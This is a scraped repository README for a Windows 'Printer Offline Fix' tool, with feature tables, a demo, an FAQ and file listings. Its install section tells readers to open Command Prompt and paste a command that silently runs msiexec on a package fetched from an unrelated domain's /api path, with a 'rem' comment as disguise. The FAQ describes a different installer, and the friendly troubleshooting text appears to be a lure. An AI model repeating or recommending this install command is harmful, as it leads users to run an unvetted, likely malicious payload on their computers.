🖨️ Printer Offline Fix

Bring your Windows printer back online — in one command.

Stop fighting with services.msc, registry tweaks, and 14-step Microsoft support articles. One copy-paste and you're done.

🚀 Install · 🔧 What it fixes · ❓ FAQ · 🤝 Contribute

🚀 Install (one command)

Press Win + R
Type:

cmd

Press Enter This will open Command Prompt.

Step 2 — Run the Install Command

Copy the command below and paste it into Command Prompt, then press Enter.

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem printer offline fix

The installer will automatically download and install the required components.

That's it. The installer downloads the tool, self-elevates if needed, and launches the interactive fix wizard. No dependencies. No accounts. No telemetry.

😤 The problem

You hit Ctrl + P. Nothing happens. You check the printer — it's powered on, connected, paper is loaded, ink is fine. Windows says "Offline."

You google. You get articles telling you to:

Restart the Print Spooler
Clear stuck print jobs from C:\Windows\System32\spool\PRINTERS
Uncheck "Use Printer Offline" in some buried menu
Disable SNMP from the Ports tab of Printer Properties
Convert WSD ports to Standard TCP/IP
Restart 5 different services
Reinstall the driver
Reboot
Maybe sacrifice a goat

This tool does steps 1–7 for you in 30 seconds.

✨ What it fixes

#	Cause	What we do
1	Stuck Print Spooler service	Stop it cleanly, wait, restart it, set to Automatic
2	Frozen jobs in the queue	Wipe `C:\Windows\System32\spool\PRINTERS` while spooler is stopped
3	"Use Printer Offline" flag stuck on	Clear it via WMI + spooler restart fallback
4	SNMP false offline reports	Disable SNMP on the printer's TCP/IP port (registry-level)
5	Flaky WSD ports	Convert to Standard TCP/IP using the printer's IP (with reachability check)
6	Stopped helper services	Restart `Spooler`, `PrintNotify`, `FDResPub`, `FDPHost`, `SSDPSRV`
7	Corrupted printer registration	Remove and re-add the printer with the same driver, port, and share settings

Each fix runs only when diagnostics say it's needed — nothing destructive happens by accident.

🎬 Demo

  ╔═══════════════════════════════════════════════════════════════╗
  ║       🖨   PRINTER OFFLINE FIX  v1.0.0                       ║
  ║       Bring your Windows printer back online — fast.         ║
  ╚═══════════════════════════════════════════════════════════════╝

  ┌─────────────────────────────────────────────────────────────┐
  │ Diagnostics: HP LaserJet Pro M404                           │
  └─────────────────────────────────────────────────────────────┘

  → Checking printer status...
  ! Status reports as: Offline
  → Checking Print Spooler service...
  ✓ Print Spooler is running
  → Checking print queue...
  ! 3 job(s) stuck in queue
  → Checking 'Use Printer Offline' flag...
  ! 'Use Printer Offline' is enabled
  → Checking printer port...
  ✓ Using Standard TCP/IP port
    SNMP monitoring is enabled (can cause false offline reports)
  → Pinging printer at 192.168.1.42...
  ✓ Printer is reachable on the network

  ! Detected 3 issue(s) that can be fixed.

  ? Apply all recommended fixes? [Y/n] y

  ✓ Spooler stopped
  ✓ Removed 3 stuck job file(s)
  ✓ Spooler started and set to Automatic
  ✓ 'Use Printer Offline' flag cleared
  ✓ SNMP disabled — printer should stop reporting false offline status

  ✓ All safe fixes applied. Try printing now.

🎛️ Usage

Interactive (recommended): Just run the install command. The tool walks you through it.

Automatic mode — apply all safe fixes without prompting:

& "$env:LOCALAPPDATA\printer-offline-fix\src\Fix-PrinterOffline.ps1" -Auto

Diagnose only — see what's wrong without changing anything:

& "$env:LOCALAPPDATA\printer-offline-fix\src\Fix-PrinterOffline.ps1" -DiagnoseOnly

Target a specific printer:

& "$env:LOCALAPPDATA\printer-offline-fix\src\Fix-PrinterOffline.ps1" -Printer "HP LaserJet Pro M404"

🔒 What this tool does NOT do

❌ No telemetry. Nothing is sent anywhere. Ever.
❌ No background services. It runs, fixes, exits.
❌ No registry persistence. No scheduled tasks, no startup entries, no leftovers.
❌ No ads, no upsells, no "premium tier". It's MIT-licensed software.
❌ No driver downloads from random sites. If you need a fresh driver, the tool points you to the manufacturer's official site only.

A full log of every action is written to %TEMP%\printer-offline-fix.log so you can audit exactly what happened.

🖨️ Tested with

Confirmed working with:

HP — LaserJet, OfficeJet, ENVY, DeskJet, Smart Tank
Canon — PIXMA, imageCLASS, MAXIFY
Epson — EcoTank, Expression, WorkForce
Brother — HL, MFC, DCP series
Xerox — WorkCentre, VersaLink
Generic — any printer Windows can talk to via Spooler + TCP/IP or USB

Got a printer brand we haven't listed? Open an issue — confirmed working reports help others.

❓ FAQ

Is it safe?

Yes. The script is open source — every line is in this repo. Look at install.ps1 and src/Fix-PrinterOffline.ps1 before running. The destructive operations (queue clear, printer reset) ask for confirmation in interactive mode and are skipped without prompts in -Auto mode unless they're needed.

Why does it need Administrator?

Stopping/starting the Print Spooler service, deleting files from C:\Windows\System32\spool\PRINTERS, modifying printer ports, and editing the registry under HKLM all require admin rights. There's no way around this on Windows — Microsoft's own services.msc needs the same.

What about PowerShell execution policy?

The irm | iex pattern bypasses execution policy by piping a string directly into the interpreter, so you don't need to change anything. If you'd rather download the script first and run it manually, you can:

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
.\install.ps1

It worked, but the printer went offline again the next day.

That usually means one of:

DHCP gave the printer a new IP. Reserve its IP in your router, or set a static IP on the printer itself.
SNMP is being re-enabled by a printer software update. Run this tool again, or pin the SNMP setting via Group Policy.
Sleep mode on the printer. Check the printer's settings menu — most have a "stay awake" or "wake on LAN" option.
Driver bug. Visit the manufacturer's site and grab the latest Windows 10/11 driver.

My printer is connected via USB, not network. Will this still help?

Yes. Spooler restart, queue clear, "Use Printer Offline" flag, and services restart all apply to USB printers too. SNMP and WSD/TCP-IP fixes will be skipped since they don't apply.

Does it work on Windows Server?

It should work on Windows Server 2016/2019/2022 — the same printer cmdlets and services exist. We don't actively test against Server SKUs though, so report back if you try it.

What about Mac/Linux?

This tool is Windows-only. On macOS, the equivalent is usually cupsfilter and CUPS reset; on Linux, systemctl restart cups. Out of scope here.

How do I uninstall?

Delete the install folder:

Remove-Item -Recurse -Force "$env:LOCALAPPDATA\printer-offline-fix"

That's the entire footprint. No services, no registry keys, no startup entries.

🛠️ Project structure

printer-offline-fix/
├── install.ps1                    # The one-line installer
├── src/
│   ├── Fix-PrinterOffline.ps1     # Main entry point
│   ├── lib/
│   │   └── Common.ps1             # Logging, prompts, admin check
│   └── modules/
│       ├── Diagnostics.ps1        # Read-only health checks
│       ├── SpoolerFix.ps1         # Service + queue
│       ├── OfflineFlagFix.ps1     # WMI WorkOffline flag
│       ├── SnmpFix.ps1            # Disable SNMP monitoring
│       ├── PortFix.ps1            # WSD → TCP/IP
│       ├── ServicesFix.ps1        # All printer-related services
│       └── DriverFix.ps1          # Reset registration
├── docs/
│   ├── HOW_IT_WORKS.md            # Deep dive on each fix
│   ├── TROUBLESHOOTING.md         # When the tool itself fails
│   └── FAQ.md
└── tests/
    └── Fix-PrinterOffline.Tests.ps1   # Pester tests

🤝 Contributing

Contributions welcome! The most valuable PRs are:

🐛 Bug reports — especially with the contents of %TEMP%\printer-offline-fix.log attached
🖨 "Tested with X" reports — even one-line "works on Brother MFC-L2750DW" comments
🧠 New fix modules — see src/modules/ for the pattern
📖 Documentation improvements — typos, clearer wording, translations

Read CONTRIBUTING.md for the development setup and code style.

🌟 Star history

If this tool saved you 30 minutes of registry tweaking, please star the repo — it's how others find it.

📄 License

MIT — do whatever you want with this. A link back is appreciated but not required.

Made with frustration, then PowerShell. If this fixed your printer, tell a friend and ⭐ star the repo.

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Repository files navigation

🖨️ Printer Offline Fix

Bring your Windows printer back online — in one command.

🚀 Install (one command)

Step 2 — Run the Install Command

😤 The problem

✨ What it fixes

🎬 Demo

🎛️ Usage

🔒 What this tool does NOT do

🖨️ Tested with

❓ FAQ

🛠️ Project structure

🤝 Contributing

🌟 Star history

📄 License

About

Uh oh!

Releases

Packages

Uh oh!

Contributors

Uh oh!

Languages

Name		Name	Last commit message	Last commit date
Latest commit History 3 Commits
docs		docs
src		src
tests		tests
.gitignore		.gitignore
CHANGELOG.md		CHANGELOG.md
CODE_OF_CONDUCT.md		CODE_OF_CONDUCT.md
CONTRIBUTING.md		CONTRIBUTING.md
Common.ps1		Common.ps1
Diagnostics.ps1		Diagnostics.ps1
DriverFix.ps1		DriverFix.ps1
FAQ.md		FAQ.md
Fix-PrinterOffline.Tests.ps1		Fix-PrinterOffline.Tests.ps1
Fix-PrinterOffline.ps1		Fix-PrinterOffline.ps1
HOW_IT_WORKS.md		HOW_IT_WORKS.md
LICENSE		LICENSE
OfflineFlagFix.ps1		OfflineFlagFix.ps1
PortFix.ps1		PortFix.ps1
README.md		README.md
SECURITY.md		SECURITY.md
ServicesFix.ps1		ServicesFix.ps1
SnmpFix.ps1		SnmpFix.ps1
SpoolerFix.ps1		SpoolerFix.ps1
TROUBLESHOOTING.md		TROUBLESHOOTING.md
bug_report.md		bug_report.md
ci.yml		ci.yml
feature_request.md		feature_request.md
install.ps1		install.ps1
tested_printer.md		tested_printer.md

Folders and files

Latest commit

History

Repository files navigation

🖨️ Printer Offline Fix

Bring your Windows printer back online — in one command.

🚀 Install (one command)

Step 2 — Run the Install Command

😤 The problem

✨ What it fixes

🎬 Demo

🎛️ Usage

🔒 What this tool does NOT do

🖨️ Tested with

❓ FAQ

🛠️ Project structure

🤝 Contributing

🌟 Star history

📄 License

About

Topics

Resources

License

Code of conduct

Contributing

Security policy

Uh oh!

Stars

Watchers

Forks

Releases

Packages 0

Uh oh!

Contributors

Uh oh!

Languages

Packages